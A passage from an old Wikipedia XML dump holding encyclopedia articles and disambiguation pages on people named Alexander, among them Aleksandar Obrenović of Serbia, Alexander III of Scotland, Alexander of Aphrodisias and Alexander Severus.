During the summer of [[1900]], [[Milan Obrenovic IV|Milan]] was away from [[Serbia]] on holiday in [[Karlovy Vary|Carlsbad]] and making arrangements to secure the hand of a [[Germany|German]] princess for his son, and while the premier, Dr. Vladan Dyorević, was visiting the [[Paris]] [[World Exhibition|Universal Exhibition]], King Aleksandar suddenly announced to the people of Serbia his engagement to the widow Madame [[Draga Mašin]], formerly a lady-in-waiting to [[Natalija Obrenovic|Queen Natalie]]. The projected union initially aroused great opposition. [[Milan Obrenovic IV|Ex-King Milan]] resigned his post, as did the government; and King Aleksandar had great difficulty in forming a new cabinet. Opposition to the union subsided somewhat on the publication of [[Tsar Nicholas]]'s congratulations to the king on his engagement and of his acceptance to act as the principal witness at the wedding. The marriage was duly celebrated in August [[1900]]. Even so, the unpopularity of the union weakened the King's position in the eyes of the army and the country at large.

King Aleksandar tried to reconcile political parties by unveiling a [[classical liberalism|liberal]] [[constitution]] of his own initiative, introducing for the first time in the constitutional history of Serbia the system of two chambers (''[[Assembly|skupshtina]]'' and ''[[senate]]'').  This reconciled the political parties but did not reconcile the army which, already dissatisfied with the king's marriage, became still more so at the rumors that one of the two unpopular brothers of [[Queen Draga]], Lieutenant Nicodiye, was to be proclaimed heir-apparent to the throne.

Meanwhile, the independence of the [[senate]] and of the council of state caused increasing irritation to King Aleksandar. In yet another ''[[coup d'état]]'', he suspended (March [[1903]]) the [[constitution]] for half an hour, time enough to publish the decrees by which the old senators and councillors of state were dismissed and replaced by new ones. This arbitrary act naturally increased the dissatisfaction in the country. The general impression was that as much as the [[senate]] was packed with men devoted to the royal couple and the government obtained a large majority at the general elections, King Aleksandar would not hesitate any longer to proclaim Queen Draga's brother as the [[heir]] to the throne.  

Apparently to prevent this, but in reality to replace Aleksandar Obrenović with [[Peter I of Serbia|Petar Karađorđević I]], a military conspiracy by [[Black Hand]] was organized. Their palace was invaded and the Royal couple hid in a cupboard in the Queen's bedroom. The conspirators searched the palace and eventually discovered the royal couple and savagely murdered them in the early morning of [[June 11]], [[1903]]. King Aleksandar and Queen Draga were shot and their bodies mutilated and thrown from a window in the palace.

==References==
* {{1911}}

{{s-start}}
{{s-bef|before=[[Milan Obrenović IV]]}}
{{s-ttl|title=[[List of Serbian monarchs|King of Serbia]]|years=[[1889]]—[[1903]]}}
{{s-aft|after=[[Peter I of Serbia|Peter I]]}}

[[Category:1876 births|Obrenović, Aleksandar]]
[[Category:1903 deaths|Obrenović, Aleksandar]]
[[Category:Assassinated kings|Obrenović, Aleksandar]]
[[Category:Serbian nobility|Obrenović, Aleksandar]]
[[Category:House of Obrenovic|Obrenović, Aleksandar]]

[[de:Aleksandar Obrenović]]
[[fr:Alexandre Ier de Serbie]]
[[nl:Alexander Obrenović]]
[[pl:Aleksander Obrenowić]]
[[sr:Краљ Александар Обреновић]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander III of Scotland</title>
    <id>1596</id>
    <revision>
      <id>38308909</id>
      <timestamp>2006-02-05T13:37:31Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>rv supercats</comment>
      <text xml:space="preserve">[[Image:Alexander III.jpg|right]]'''Alexander III''' ([[September 4]], [[1241]] &amp;ndash; [[March 19]], [[1286]]), [[King of Scots]], also known as '''Alexander the Glorious''', ranks as one of [[Scotland|Scotland's]] greatest kings.

Born at [[Roxburgh]], [[Scottish Borders|Borders]], as the son of [[Alexander II of Scotland]] by his second wife Marie de Coucy, he became king at the age of eight when his  father died ([[6 July]] [[1249]]). His coronation took place on [[July 13]], [[1249]] at [[Scone Abbey]], [[Perthshire]].

The years of his minority featured an embittered struggle for the control of affairs between two rival parties, the one led by [[Walter Comyn]], [[Earl of Menteith]], the other by Alan Durward, the [[justiciar]].  The former dominated  the early years of Alexander's reign.  At the marriage of Alexander to Margaret of [[England]] in [[1251]], [[Henry III of England|Henry III]] seized the opportunity to demand from his son-in-law homage for the Scottish kingdom, but Alexander did not comply.  In [[1255]] an interview between the English and Scottish kings at [[Kelso]] led to Menteith and his party losing to Durward's party. But though disgraced, they still retained great influence, and two years later, seizing the person of the king, they compelled their rivals to consent to the erection of a regency representative of both parties.

On attaining his majority at the age of 21 in [[1262]], Alexander declared his intention of resuming the projects on the [[Western Isles]] which the death of his father thirteen years before had cut short. He laid a formal claim before the [[Norway|Norwegian]] king [[Haakon IV of Norway | Haakon]].  Haakon rejected the claim, and in the following year  responded with a formidable invasion.  Sailing round the west coast of Scotland he halted off the [[Isle of Arran]], and negotiations commenced. Alexander artfully prolonged the talks until the autumn storms should begin.  At length Haakon, weary of delay, attacked, only to encounter a terrific [[extreme weather|storm]] which greatly damaged his ships.  The [[battle of Largs]] (October 1263) proved indecisive, but even so, Haakon's position was hopeless.  Baffled, he turned homewards, but died on the way on the Orkneys (15 December 1263). The Isles now lay at Alexander's feet, and in [[1266]] Haakon's successor concluded the [[1266 Treaty of Perth|Treaty of Perth]] by which he ceded the [[Isle of Man]] and the Western Isles to Scotland in return for a money payment. Norway retained only [[Orkney]] and [[Shetland]] in the area.

Alexander had married Princess Margaret of England, a daughter of King [[Henry III of England]] and [[Eleanor of Provence]], on [[December 26]], [[1251]]. She died in [[1274]], having given him three children:
# Margaret ([[February 28]], [[1260]]-[[April 9]], [[1283]]), married King [[Eirik II of Norway]]
# Alexander ([[January 21]], [[1263]]-[[January 28]], [[1283]])
# David ([[March 20]], [[1272]]-June [[1281]])

According to the chronicle of [[Lanercost]], Alexander did not spend his decade as a widower alone: &quot;''he used never to forbear on account of season nor storm, nor for perils of flood or rocky cliffs, but would visit none too creditably nuns or matrons, virgins or widows as the fancy seized him, sometimes in disguise''.&quot;

Towards the end of Alexander's reign, the death of all three of his children within a few years made the question of the succession one of pressing importance. In [[1284]] he induced the [[Scottish Parliament | Estates]] to recognize as his heir-presumptive his granddaughter [[Margaret I of Scotland | Margaret, the &quot;Maid of Norway&quot;]]. The need for a male heir led him to contract a second marriage to Yolande de [[Dreux]] on [[November 1]], [[1285]]. 

But the sudden death of the king dashed all such hopes. Alexander died in a fall from his horse in the dark while riding to visit the queen at [[Kinghorn]] in [[Fife]] on [[March 16|16th]] or [[March 19|19th]] of March [[1286]]. His death ushered in a time of political upheaval for Scotland. 

See [[History of Scotland]]

==Source==
*Scott, Robert McNair. ''Robert the Bruce: King of Scots'', 1996

{{start}}
{{s-bef|before=[[Alexander II of Scotland|Alexander II]]}}
{{s-ttl|title=[[King of Scots]]|years=1249&amp;ndash;1286}}
{{s-aft|after=[[Margaret of Scotland|Margaret]]}}
{{end}}

[[Category:1241 births]]
[[Category:1286 deaths]]
[[Category:Natives of the Scottish Borders]]
[[Category:Scottish monarchs]]
[[Category:House of Dunkeld]]
[[Category:Medieval_Gaels]]

[[de:Alexander III. (Schottland)]]
[[no:Alexander III av Skottland]]
[[ja:アレグザンダー3世 (スコットランド王)]]
[[pl:Aleksander III (król Szkocji)]]
[[pt:Alexandre III da Escócia]]
[[sv:Alexander III av Skottland]]
[[uk:Александр ІІІ (король Шотландії)]]
[[zh:亚历山大三世 (苏格兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander of Greece</title>
    <id>1597</id>
    <revision>
      <id>40764867</id>
      <timestamp>2006-02-22T21:48:04Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">Please see:
* [[Alexander of Greece (king)]] for the [[20th century]] [[monarch|king]] of [[Greece]]
* [[Alexander of Greece (rhetorician)]] for the ancient Greek [[rhetoric]]ian

Neither of the above should be confused with the Greek king and conqueror [[Alexander the Great]] king of [[Macedon]].

{{hndis}}

[[sl:Aleksander Grški]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Cornelius</title>
    <id>1598</id>
    <revision>
      <id>15900065</id>
      <timestamp>2004-08-20T13:50:13Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Alexander Polyhistor]]</comment>
      <text xml:space="preserve">#REDIRECT [[Alexander Polyhistor]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander of Aphrodisias</title>
    <id>1599</id>
    <revision>
      <id>40002252</id>
      <timestamp>2006-02-17T12:14:46Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>correct lk</comment>
      <text xml:space="preserve">'''Alexander of Aphrodisias''', pupil of [[Aristocles of Messene]], the most celebrated of the Greek commentators on the writings of [[Aristotle]], and styled, by way of pre-eminence, ''o exegetes'' (&quot;the expositor&quot;), was a native of [[Aphrodisias]] in [[Caria]].

He came to [[Athens]] towards the end of the [[2nd century]] AD, became head of the [[Lyceum]] and lectured on [[peripatetic]] [[philosophy]].
The object of his work was to free the doctrine from the [[syncretism]] of [[Ammonius Saccas|Ammonius]] and to reproduce the pure doctrine of Aristotle.

Commentaries by Alexander on the following works of Aristotle are still extant:
*the ''Analytica Priora'', i
*the ''Topica''
*the ''Meteorologica''
*the ''De Sensu''
*the ''Metaphysica'', i-v, together with an abridgment of what he wrote on the remaining books of the ''Metaphysica''.

His commentaries were greatly esteemed among the [[Arab]]ians, who translated many of them.

[[Alexander's band]], an [[optical phenomenon]], is named after him.

There are also several original writings by Alexander still extant.
The most important of these are a work ''On Fate'', in which he argues against the [[Stoic]] doctrine of necessity; and one ''On the Soul'', in which he contends that the undeveloped reason in man is material (''nous ulikos'') and inseparable from the body.
He argued strongly against the doctrine of [[immortality]].
He identified the active intellect (''nous poietikos''), through whose agency the potential intellect in man becomes actual, with God.

Several of Alexander's works were published in the Aldine edition of Aristotle, Venice, 1495-1498; his ''De Fato'' and ''De Anima'' were printed along with the works of [[Themistius]] at Venice (1534); the former work, which has been translated into [[Latin]] by [[Grotius]] and also 
by [[Schulthess]], was edited by [[J. C. Orelli]], [[Zurich]], [[1824]]; and his commentaries on the Metaphysica by [[H. Bonitz]], [[Berlin]], [[1847]].  [[J. Nourisson]] has treated of his doctrine of fate (''De la liberte et du hazard'', [[Paris]], 1870).
In the early [[Renaissance]] his doctrine of the soul's mortality was adopted by [[Pietro Pomponazzi]] against the [[Thomists]] and the [[Averroists]].

See also [[Alexandrists]], [[Pietro Pomonazzi]]. Also [[A. Apelt]], ''Die Schrift d. Alex. v. Aphr.'', [[Philolegus]], xlv., 1886: [[C. Ruelle]], ''Alex. d'Aphr. et le pretendu Alex. d'Alexandrie,'' ''Rev. des etudes grecques'', v., 1892; [[Eduard Zeller|E. Zeller]]'s ''Outlines of Gk. Phil.'' (Eng. trans., ed. 1905, p. 296).

==External links==

* [http://plato.stanford.edu/entries/alexander-aphrodisias/ Stanford Encyclopedia of Philosophy entry] 

==References==
*{{1911}}

[[Category:Latin authors]]

[[de:Alexander von Aphrodisias]]
[[sk:Alexander z Afrodízie]]
[[fi:Aleksanteri Afrodisiaslainen]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Severus</title>
    <id>1600</id>
    <revision>
      <id>40811659</id>
      <timestamp>2006-02-23T04:13:22Z</timestamp>
      <contributor>
        <ip>206.103.49.104</ip>
      </contributor>
      <comment>fixing redirect</comment>
      <text xml:space="preserve">[[Image:Alexander_severus.jpg|right|thumb|Alexander Severus]]
'''Marcus Aurelius Severus Alexandrus''' ([[October 1]], [[208]]- [[March 18]], [[235]]), commonly called '''Alexander Severus''', [[Roman Emperors|Roman emperor]] from [[222]] to [[235]], was born at [[Arqa|Arca Caesarea]] in [[Palestine (region)|Palestine]].

His father, [[Gessius Marcianus]], held office more than once as an imperial procurator; his mother, [[Julia Mamaea]], was the daughter of [[Julia Maesa]] and the aunt of [[Elagabalus]] (also called &quot;Heliogabalus&quot;).  His original name was Bassianus, but he changed it in 221 when his grandmother, Maesa, persuaded the emperor Elagabalus to adopt his cousin as successor and create him Caesar.  In the next year, on [[March 11]], Elagabalus was murdered, and Alexander was proclaimed emperor by the [[Praetorian Guard|Praetorians]] and accepted by the senate.

He was then a mere lad, amiable, well-meaning, but entirely under the dominion of his mother, a woman of many virtues, who surrounded him with wise counsellors, watched over the development of his character and improved the tone of the administration, but on the other hand was inordinately jealous, and alienated the army by extreme parsimony, while neither she nor her son had a strong enough hand to keep tight the reins of military discipline. Mutinies became frequent in all parts of the empire; to one of them the life of the jurist and praetorian praefect [[Ulpian]] was sacrificed; another compelled the retirement of [[Dio Cassius]] from his command.

On the whole, however, the reign of Alexander was prosperous till he was summoned to the East to face the new power of the [[Sassanid Empire|Sassanians]]. Of the war that followed we have very various accounts; [[Theodor Mommsen|Mommsen]] leans to that which is least favourable to the Romans.  According to Alexander's own dispatch to the senate he gained great victories.  At all events, though the [[Persians]] were checked for the time, the conduct of the Roman army showed an extraordinary lack of discipline.  The emperor returned to [[Rome]] and celebrated a triumph ([[233]]), but next year he was called to face German invaders in [[Gaul]], not far from Mainz, where he was slain, (on either [[March 18|18]] or [[March 19|19]] March  [[235]]), together with his mother, in a mutiny of the [[Legio XXII Primigenia|Legio XXII ''Primigenia'']] which was probably led by [[Maximinus Thrax]], a Thracian legionary, and at any rate secured him the throne.


[[Image:Bronze-Alexander Severus-Deultum AE25 Moushmov 3583.jpg|thumb|300px|Alexander Severus coin, celebrating [[Artemis]] and the ''Flavian colony of [[Burgas|Deultum]]''.]]
Alexander was the last of the Syrian emperors. Under the influence of his mother, he did much to improve the morals and condition of the people.  His advisers were men like the famous jurist Ulpian, the historian Dio Cassius and a select board of sixteen senators; a municipal council of fourteen assisted the urban praefect in administering the affairs of the fourteen districts of Rome. The luxury and extravagance that had formerly been so prevalent at the court were put down; the standard of the coinage was raised; taxes were lightened; literature, art and science were encouraged; the lot of the soldiers was improved; and, for the convenience of the people, loan offices were instituted for lending money at a moderate rate of interest.

In religious matters Alexander preserved an open mind. In his private chapel he had busts of [[Orpheus]], [[Abraham]], [[Apollonius of Tyana]], and [[Jesus]]. It is said that he was desirous of erecting a temple to the founder of Christianity, but was dissuaded by the pagan priests.  There is no doubt that, had Alexander's many excellent qualities been supported by the energy and strength of will necessary for the government of a military empire, he would have been one of the greatest of the Roman emperors.


==See also==
* [[Severan dynasty family tree]]

==External links==
{{Commons|Alexander Severus}}
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Historia_Augusta/Severus_Alexander/1*.html Life of Alexander Severus] (''Historia Augusta'' at LacusCurtius: Latin text and English translation)

==References==
*{{1911}}
*Lampridius, ''Alexander Severus''
*Dio Cassius lxxviii. 30, lxxix. 17, lxxx. 1
*Herodian vi. 1-18
*Porrath, ''Der Kaiser Alex. Sev.'' (1876)
*[[Pauly-Wissowa]], ''Realencyclopadie,'' ii. 2526 foll. (Groebe)
*RV Nind Hopkins, ''Cambridge Historical Essays,'' No. xiv. (1907).

{{Roman Emperor | Prev=[[Elagabalus]] | CoEmperor= | Next=[[Maximinus Thrax]]|years=222&amp;ndash;235}}

[[Category:208 births]]
[[Category:235 deaths]]
[[Category:Roman emperors]]
[[Category:Severan Dynasty]]
[[Category:Crisis of the Third Century]]
[[Category:Roman emperors killed by own troops]]

[[da:Alexander Severus]]
[[de:Severus Alexander]]
[[et:Severus Alexander]]
[[es:Alejandro Severo]]
[[eo:Aleksandro Severo]]
[[eu:Alexandro Severo]]
[[fr:Sévère Alexandre]]
[[ko:세베루스 알렉산더]]
[[hr:Aleksandar Sever]]
[[it:Alessandro Severo]]
[[he:אלכסנדר סוורוס]]
[[nl:Severus Alexander]]
[[ja:アレクサンデル・セウェルス]]
[[pl:Sewer Aleksander]]
[[pt:Alexandre Severo]]
[[ro:Alexandru Sever]]
[[sr:Александар Север]]
[[fi:Severus Alexander]]
[[sv:Alexander Severus]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander (disambiguation)</title>
    <id>1601</id>
    <revision>
      <id>42051302</id>
      <timestamp>2006-03-03T13:37:19Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <comment>/* Antiquity */</comment>
      <text xml:space="preserve">'''Alexander''' is a common male first name.  It also occurs, less frequently, as a [[family name|surname]].

==Origin==
The name in [[English language|English]] is taken from the [[Latin]] &quot;Alexander,&quot; which is a Romanization of the original [[Ancient Greek|Greek]] [[nominative]] ΑΛΕΞΑΝΔΡΟΣ (''Alexandros''). The [[genitive]] form in Greek is ''Alexandrou''. 

[[Etymology|Etymologically]], the name derives from ''alex-'', the compound-form of ''alexis'' (from the [[Proto-Indo-European language|Proto-Indo-European]] [PIE] ''*alek-''), meaning &quot;refuge, protection, defence,&quot; together with ''-andros'', the compound form of andēr (from the PIE ''*ner-''), meaning &quot;man.&quot;  Thus is may be roughly translated as &quot;protector of men.&quot;  The term is either a rare type of &quot;inverse [[tatpurusha]]&quot; compound, with the modifier in second position (the cognate [[Sanskrit]] tatpurusha being *nararakṣa, cf. [[Ramayana]] 6.33.45; the exact Sanskrit counterpart would be *rakṣinara, from PIE hleks(i)-hnros), or a worn-down [[terpsimbrotos]] type compound, whose original verbal meaning was &quot;he protects men&quot;.

The earliest reference to the name may be that to [[Alaksandu]] in the [[13th century BC]].

The name was one of the titles (&quot;epithets&quot;) given to the Greek goddess [[Hera]] and as such is usually taken to mean &quot;one who comes to the aid of warriors.&quot;  In the [[Iliad]], the character [[Paris (mythology)|Paris]] is known also as Alexander.  The name's popularity was spread throughout the [[Hellenistic civilization|Hellenistic world]] by the military conquests of King Alexander III of Macedon, commonly known as '''[[Alexander the Great]]''' (''Μέγας Αλέξανδρος'').

==Variants==
The female version of the name is Alexandra. Clipped forms derived from the name include: Alexandros/Alexandra, Alexis/Alexia, Alekos/Aleka (Greece), Alec, Alle, Alecu (Romania), Alex, Allie, Lex, Sander, Sandra (Female only), Sandro (Italy), Sandu (Romania), Sandy, (also female) Sanya (Slavic), Sascha (German, common in Austria), Sasha (Russian affectionate form), Shura (also in Russia), Xan, Xander, Xandi, Alexandre(french), Alejandro (spanish).

The surname bears various forms depending on the country. In all but a few cases, these forms directly correspond with the form of the first name used in that country. For example, the English version is generally spelled Alexander, the Italian version of the surname is spelled Alessandro, and so on.

==Monarchs==
&lt;!-- redlinks out per Mos
*[[Aleksander|Alexander]] (* [[1338]], † before [[1386]]) prince of Podolia
*[[Alexandru Lapusneanu|Alexandru Lăpuşneanu]], voivode of Moldavia ([[1552]]-[[1561]] and [[1564]] - [[1568]])
*[[Alexandru Movila|Alexandru Movilă]], voivode of Moldavia ([[1615]]-[[1616]])

*[[Alexandru Coconul]], voivode of Moldavia ([[1629]]-[[1630]])

--&gt;
===Antiquity===
*[[Alaksandu]], ca. 1280 BC
*[[Alexander of Pherae]] despot of Pherae between [[369 BC|369]] and [[358 BC]]
*[[Alexander I of Epirus]] king of Epirus about 342 B.C.
*[[Alexander II of Epirus]] king of Epirus 272 B.C.
*[[Alexander I of Macedon]]
*[[Alexander II of Macedon]]
*[[Alexander the Great|Alexander III of Macedon]] (Alexander the Great), King of Macedon, 336–323 BC
*[[Alexander IV of Macedon]]
*[[Alexander Balas]], ruler of the Seleucid kingdom of Syria between [[150 BC|150]] and [[146 BC]]
*[[Alexander III of Byzantium|Alexander III]], Byzantine Emperor
*[[Alexander Severus]], ([[208]]-[[235]]), Roman Empire

===Middle Ages===
*[[Alexander I of Scotland]], (c. [[1078]] - April, [[1124]])
*[[Alexander II of Scotland]], ([[1198]] - [[July 6]], [[1249]])
*[[Alexander III of Scotland]], ([[September 4]], [[1241]] - March, [[1286]])
*[[Alexandru cel Bun]], voivode of Moldavia ([[1400]]-[[1432]])
*[[Skenderbeg]], ([[1405]]-[[1468]]), prince of Albania
*[[Eskander]] or Alexander, Emperor of Ethiopia ([[1472]] - [[1494]])
*[[Alexander of Poland]] (1461-1506), king of Poland

===Modern===
*[[Alexander I of Russia]], ([[1777]]-[[1825]]), emperor of Russia
*[[Alexander II of Russia]], ([[1818]]-[[1881]]), emperor of Russia
*[[Alexander III of Russia]], ([[1845]] - [[November 1]], [[1894]]), emperor of Russia
*[[Alexander Karadjordjevic, Prince of Serbia|Alexander Karadjordjevic]], ([[1842]]-[[1858]]), Serbian prince
*[[Alexander of Bulgaria]], ([[1857]]-[[1893]]), first prince of Bulgaria
*[[Alexander John Cuza]], prince of Romania ([[1859]]-[[1866]])
*[[Alexander Obrenovich]], (1876-1903), king of Serbia
*[[Alexander of Yugoslavia]] ([[1888]]-[[1934]]), first king of Yugoslavia
*[[Zog I]] a.k.a. Skenderbeg III,([[1895]]-[[1961]]), king of Albanians
*[[Alexander of Greece (king)]], ([[1917]]-[[1920]]), king of Greece
*[[Leka I]], ([[1939]]-), king of Albanians (throne pretender) 
*[[Willem-Alexander, Prince of Orange]]

==Religious leaders==
*[[Pope Alexander I|Alexander I, Pope]], (pope [[97]]-[[105]])
*[[Pope Alexander II|Alexander II, Pope]], (pope [[1058]]-[[1061]])
*[[Pope Alexander III|Alexander III, Pope]], (pope [[1164]]-[[1168]])
*[[Pope Alexander IV|Alexander IV, Pope]], (pope [[1243]]-[[1254]])
*[[Pope Alexander V|Alexander V, Pope]], (''Peter Philarges'' ca. [[1339]]-[[May 3]], [[1410]])
*[[Pope Alexander VI|Alexander VI, Pope]], ([[1431]]-[[1503]]), Roman pope 
*[[Pope Alexander VII|Alexander VII, Pope]], ([[1599]]-[[1667]])
*[[Pope Alexander VIII|Alexander VIII, Pope]], (pope [[1689]]-[[1691]]),
*[[Alexander of Constantinople]], bishop of Constantinople (314-337)
*[[Alexander of Alexandria|Alexander (I) of Alexandria]], Coptic Pope, Patriarch of Alexandria between [[313]] and [[328]]
*[[Alexander II of Alexandria]], Coptic Pope ([[702]]-[[729]])
&lt;!-- commented out, add back in when article exists
*[[Alexander of Antioch]]
*[[Alexander of Jerusalem]]

[http://www.newadvent.org/cathen/01285b.htm Alexander (Early Bishops)] - Article from the Catholic Encyclopedia

--&gt;

&lt;!-- Left dates wiki-linnked on purpose. --&gt;

==Others named Alexander==
===Surname===
*[[Christopher Alexander]], architect.
*[[Edward Porter Alexander]], (1835-1910), officer in the U.S. Army and Confederate States Army.
*[[F. Matthias Alexander]], Australian actor/orator, founder of [[Alexander Technique]].
*[[Harold Alexander]], British Second World War general.
*[[Jason Alexander]], stage name of American actor Jason Scott Greenspan.
*[[Jason Allen Alexander]], ex-husband of Britney Spears.
*[[John White Alexander]], (1856 - 1915), American artist.
*[[Manny Alexander]], Major League Baseball infielder
*[[Samuel Alexander]], (1859 - 1938) philosopher and essayist
*[[Sarah Alexander]], British actress
*[[Shaun Alexander]], NFL running back

===First name===
*[[Alexander (general)]], son of Polyperchon, the regent of Macedonia
*[[Alexander of Aphrodisias]] Greek commentator and philosopher
*[[Alexander of Greece (rhetorician)]], Greek rhetorician
*[[Alexander of Hales]] 13th century Medieval theologian
*[[Paris (mythology)]], otherwise known as Alex, the Trojan prince who kidnapped Helen

[http://www.newadvent.org/cathen/01285a.htm Alexander, name of seven men] Article from the Catholic Encyclopedia

==Places==
A number of places are also associated with Alexander:
&lt;!-- add back in when no red-linked per MoS 
*[[Alexander, Manitoba]], [[Canada]]
*[[Alexander Bay, Newfoundland and Labrador]], Canada
*[[Alexander Township, McKenzie County, North Dakota]], United States
*[[Alexander Township, Pierce County, North Dakota]], United States
*[[Alexander Township, Stutsman County, North Dakota]], United States
*[[Alexander Township, Ohio]], United States
--&gt;
*[[Alexander (town), New York]], United States
*[[Alexander (village), New York]], United States
*[[Alexander City, Alabama]], United States
*[[Alexander River]], New Zealand
*[[Alexander, Arkansas]], United States
*[[Alexander, Iowa]], United States
*[[Alexander, Kansas]], United States
*[[Alexander, Maine]], United States
*[[Alexander, North Dakota]], United States
*[[Alexanderplatz, (central square), Berlin]], Germany

==Other==
*[[Alexander (film)]] 2004 film directed by Oliver Stone
*[[Alexander the great (film)]] 1956 film directed by [[Robert Rossen]].
*[[Alexander Aircraft Company]], an aircraft manufacturer in [[Colorado]] in the 1920s and 1930s, named for its founder, J. Don Alexander
*''[[Alexander (ship)]]'', a convict transport ship in the First Fleet to Australia in 1787
*[[Alexander (game)]] is a PC game Published by UBISOFT based on the life of Alexander the Great

&lt;!-- This one's a bit of a stretch, isn't it?
* [[Isaac Asimov]]'s short story &quot;Alexander the God&quot; ([[1984]]), reprinted in the anthology ''[[Gold (Asimov)|Gold]]'' ([[1995]])
--&gt;

==See also==
*[[List of people by name: Al]]

{{disambig}}
[[Category:Given names|Alexander]]

[[da:Alexander]]
[[de:Alexander]]
[[el:Αλέξανδρος]]
[[fr:Alexandre]]
[[ko:알렉산더]]
[[he:אלכסנדר (פירושונים)]]
[[hr:Aleksandar]]
[[lt:Aleksandras]]
[[hu:Alexander]]
[[nl:Alexander]]
[[ja:&amp;#12450;&amp;#12524;&amp;#12463;&amp;#12469;&amp;#12531;&amp;#12480;&amp;#12540;]]
[[pl:Aleksander]]
[[ru:Александр]]
[[sk:Alexander]]
[[sl:Aleksander]]
[[sv:Alexander]]
[[zh:亞歷山大]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander I</title>
    <id>1602</id>
    <revision>
      <id>41941945</id>
      <timestamp>2006-03-02T19:58:18Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <comment>title =&gt; bold text + clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">A number of historical people were named '''Alexander I''':

*[[Alexander I of Macedon]], king of [[Macedon]] 495-450 BC
*[[Alexander I of Epirus]] King of [[Epirus (region)|Epirus]] about [[342 BC|342 B.C.]]
*[[Pope Alexander I]], [[Pope]] from [[106]] to [[115]]
*[[Alexander I of Scotland]] (c. [[1078]]-[[1124]]), King of [[Scotland]]
*[[Alexander I of Georgia]] ([[1412]]-[[1442]]), King of [[Georgia (country)|Georgia]]
*[[Alexander I of Russia]] ([[1777]]-[[1825]]), Tsar of [[Russia]]
*[[Alexander of Bulgaria|Alexander I of Bulgaria]] ([[1857]]-[[1893]]), Prince of [[Bulgaria]]
*[[Alexander I of Greece]] ([[1917]]-[[1920]]), King of [[Greece]]
*[[Alexander I of Yugoslavia]] ([[1929]]-[[1934]]), King of [[Yugoslavia]]

{{hndis}}

[[el:Αλέξανδρος Α']]
[[fr:Alexandre Ier]]
[[it:Alessandro I]]
[[nn:Aleksander I]]
[[pl:Aleksander I]]
[[sv:Alexander I]]
[[zh:亚历山大一世]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander II</title>
    <id>1603</id>
    <revision>
      <id>40205476</id>
      <timestamp>2006-02-18T23:19:12Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Epirus]] to [[Epirus (region)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">A number of historical people were named '''Alexander II''':

* [[Alexander II of Macedon]] was King of [[Macedon]] from [[370 BC|370]] to [[368 BC|368 B.C.]]
* [[Alexander II of Epirus]] was the King of [[Epirus (region)|Epirus]] in [[272 BC|272 B.C.]]
* [[Pope Alexander II]] was Pope from [[1061]] to [[1073]].
* [[Alexander II of Scotland]] ([[1198]]&amp;ndash;[[1249]]) was the King of [[Scotland]].
* [[Alexander II of Russia]] ([[1818]]&amp;ndash;[[1881]]) was the Emperor of [[Russia]].

{{hndis}}

&lt;!-- Localization --&gt;
[[fr:Alexandre II]]
[[es:Alejandro II]]
[[it:Alessandro II]]
[[pl:Aleksander II]]
[[ru:Александр II (значения)]]
[[sv:Alexander II]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander III</title>
    <id>1604</id>
    <revision>
      <id>37179312</id>
      <timestamp>2006-01-29T06:17:11Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">'''Alexander III''' may refer to any of the following;

*[[Alexander III (emperor)]], [[Byzantine emperor]] (912-913)
*[[Pope Alexander III]] [[pope]] from 1159 to 1181
*[[Alexander III of Russia]] (1845-1894), emperor of [[Russia]]
*[[Alexander III of Scotland]] (1241-1286), king of [[Scotland]]
*[[Alexander III of Macedon]], also known as Alexander the Great

{{hndis}}

[[es:Alejandro III]]
[[fr:Alexandre III]]
[[it:Alessandro III]]
[[pl:Aleksander III]]
[[ru:Александр III (значения)]]
[[zh:亚历山大三世]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Aetolus</title>
    <id>1605</id>
    <revision>
      <id>41172601</id>
      <timestamp>2006-02-25T14:57:24Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Alexander Aetolus''', of [[Pleuron]] in [[Aetolia]], Greek poet and man of letters, the only representative of Aetolian poetry, flourished about [[280 BC]].

When living in [[Alexandria]] he was commissioned by [[Ptolemy Philadelphus]] to arrange the tragedies and satyric dramas in the library; some ten years later he took up his residence at the court of [[Antigonus II Gonatas|Antigonus Gonatas]], king of [[Macedon]]ia.

His reputation as a tragic poet was so high that he was allotted a place in the [[Alexandrian Pleiad|Alexandrian tragic ''Pleiad'']]; we only know the title of one play (''Astragalistae.'') He also wrote short epics, epigrams and elegies, the considerable fragments of which show learning and eloquence.

==References==

*[[Augustus Meineke|Meineke]], ''Analecta Alexandrina'' (1853)
*[[Theodor Bergk|Bergk]], ''Poetae Lyrici Graeci''
*[[Auguste Couat]], ''La Poésie alexandrine'' (1882).

==References==
*{{1911}}

[[Category:Ancient Greek poets]]

[[hu:Alexandrosz]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Jannaeus</title>
    <id>1606</id>
    <revision>
      <id>32027788</id>
      <timestamp>2005-12-19T23:28:59Z</timestamp>
      <contributor>
        <username>BPK2</username>
